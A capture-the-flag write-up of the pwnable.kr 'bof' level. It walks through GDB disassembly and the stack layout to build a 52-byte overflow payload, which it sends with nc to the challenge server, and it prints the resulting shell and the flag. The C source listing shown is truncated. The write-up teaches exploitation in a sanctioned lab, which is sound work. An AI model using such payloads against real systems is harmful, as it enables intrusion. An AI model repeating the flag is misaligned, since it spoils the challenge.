[Pwnable.kr] bof writeup – Toddler’s bottle

You probably guessed what this level is about : we will try to trigger a buffer overflow (bof) in order to smash the stack and overwrite something; a return address, a variable, a pointer or something !

The link of the source code is provided to us, let’s check it out :

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
int main(int argc, char* argv[]){
	return 0;

After a quick scan of the code, in the function func() , the program is expecting the variable key  to contain the value 0xcafebabe , but the we don’t have much control over the variable key  through i/o, since the value is already hard coded in the function call in main() , to the value 0xdeadbeef .

How are we going to do that ? Well the writers of the challenge were nice enough to write down a little hint in the comment : we gotta smash the variable overflowme . We have to trigger a buffer overflow so we can overwrite the value of the variable key  with 0xcafebabe .

Before I got ahead and try to do that, I’d like to review first the calling convention for x86 linux. So, we all know that, when calling a function, there are some things that get done to the stack before executing the body of the function. First, the parameters of the function are pushed into the stack, from the last one to the first one, and then the old stack base pointer (EBP) is pushed, then the return address to the caller is saved above the EBP, after that, EBP gets the old value of ESP. Then to allocate some space for the new stack frame, we subtract a number of bytes from ESP (because the stack grows from higher addresses to lower addresses). Finally, the local static variables of the callee are allocated in the new stack frame.

Sidenote : the parameters will have a positive index from EBP, and local variable will have negative indexes.

We can sum up all those operations in the following diagram:

Calling convention - stack frame

Now onto our challenge, let’s fire up GDB, analyze the asm code, and try to imagine how would the stack look like.

Below is the result of the command disas on func()  :

(gdb) disas func
Dump of assembler code for function func:
   0x080484c4 <+0>:	push   %ebp
   0x080484c5 <+1>:	mov    %esp,%ebp
   0x080484c7 <+3>:	sub    $0x48,%esp
   0x080484ca <+6>:	mov    %gs:0x14,%eax
   0x080484d0 <+12>:	mov    %eax,-0xc(%ebp)
   0x080484d3 <+15>:	xor    %eax,%eax
   0x080484d5 <+17>:	mov    $0x8048610,%eax
   0x080484da <+22>:	mov    %eax,(%esp)
   0x080484dd <+25>:	call   0x80483a0 <printf@plt>
(2)0x080484e2 <+30>:	lea    -0x2c(%ebp),%eax
   0x080484e5 <+33>:	mov    %eax,(%esp)
   0x080484e8 <+36>:	call   0x80483b0 <gets@plt>
(1)0x080484ed <+41>:	cmpl   $0xcafebabe,0x8(%ebp)
   0x080484f4 <+48>:	jne    0x8048504 <func+64>
   0x080484f6 <+50>:	movl   $0x804861f,(%esp)
   0x080484fd <+57>:	call   0x80483e0 <system@plt>
   0x08048502 <+62>:	jmp    0x8048510 <func+76>
   0x08048504 <+64>:	movl   $0x8048627,(%esp)
   0x0804850b <+71>:	call   0x80483d0 <puts@plt>
   0x08048510 <+76>:	mov    -0xc(%ebp),%eax
   0x08048513 <+79>:	xor    %gs:0x14,%eax
   0x0804851a <+86>:	je     0x8048521 <func+93>
   0x0804851c <+88>:	call   0x80483c0 <__stack_chk_fail@plt>
   0x08048521 <+93>:	leave  
   0x08048522 <+94>:	ret    
End of assembler dump. 

From the last diagram we drew, we can guess that 0xdeadbeef  would be placed in EBP+8, since it’s the only parameter passed to the function func() , and this hypothesis can be confirmed by looking at the line marked with the number (1); the value 0xcafebabe , is indeed compared with EBP+8, which is the adresse of the variable key .

Let’s check the effective address of the variable key :

(gdb) x $ebp+8
0xffffdc40:	0xdeadbeef

Now we have the address where 0xdeadbeef  is stored. The next thing we need to do, is to now the exact offset between 0xdeadbeef , and where and the variable overflowme , in which the function gets() stores our input.

We know that the function gets() , takes the address of a buffer as a parameter, and it expects that address in the register EAX. Now, let’s look at the line marked with the number (2), we can see that the program loads the effective address EBP-0x2c into EAX, right before calling gets() ; now this only lets me think that the variable overflowme  is stored in EBP-0x2c. Let’s look at the stack to make sure of that.

First we set up a break point at the function gets() , and then we run the program:

(gdb) break gets
Breakpoint 1 at 0x80483b0
(gdb) run
Starting program: /tmp/work/a.out 

Breakpoint 1, 0xf7e84e90 in gets () from /lib/i386-linux-gnu/libc.so.6

Let’s step outside of gets()  so we can provide our input :

(gdb) next
Single stepping until exit from function gets,
which has no line number information.
overflow me : hellobof
0x080484ed in func ()

Now we look into the address EBP-0x2c to see what it contains:

(gdb) x/1s $ebp-0x2c
0xffffdc0c:	 "hellobof"

We guessed right, it does contain our input, which means it is indeed the address of the variable overflowme .

Here are the addresses we got so far :

0xffffdc0c:	 "hellobof"
0xffffdc40:	0xdeadbeef

Let’s calculate the offset between the two addresses :

Soufianes-MBP:~ soufiane$ python -c "print 0xffffdc0c-0xffffdc40"

So the two values are 52 bytes apart. Just for fun, let’s draw a little diagram:

Calling convention - stack frame

So, finally, to exploit this, we need to smash the variable overflowme  by feeding it 52 bytes of junk, that should be sufficient to reach the address of key , and then concatenate it with the value 0xcafebabe  to overwrite the value 0xdeadbeef . That way, when the program wants to compare key with 0xcafababe , it’ll find it already overwritten with that value, and it’ll just give us the shell.

So the payload we need to send is something like this (don’t forget that the system is little Endian):

python -c "print 52*'A'+'\xbe\xba\xfe\xca'"

Let’s try it on the remote server of the challenge :

Soufianes-MBP:~ soufiane$ (python -c "print 52*'A'+'\xbe\xba\xfe\xca'";cat) | nc pwnable.kr 9000
uid=1003(bof) gid=1003(bof) groups=1003(bof)
cat flag
daddy, I just pwned a buFFer :)

And voilà, we caught the flag 🙂

One thought on “[Pwnable.kr] bof writeup – Toddler’s bottle

Leave a Reply

Your email address will not be published. Required fields are marked *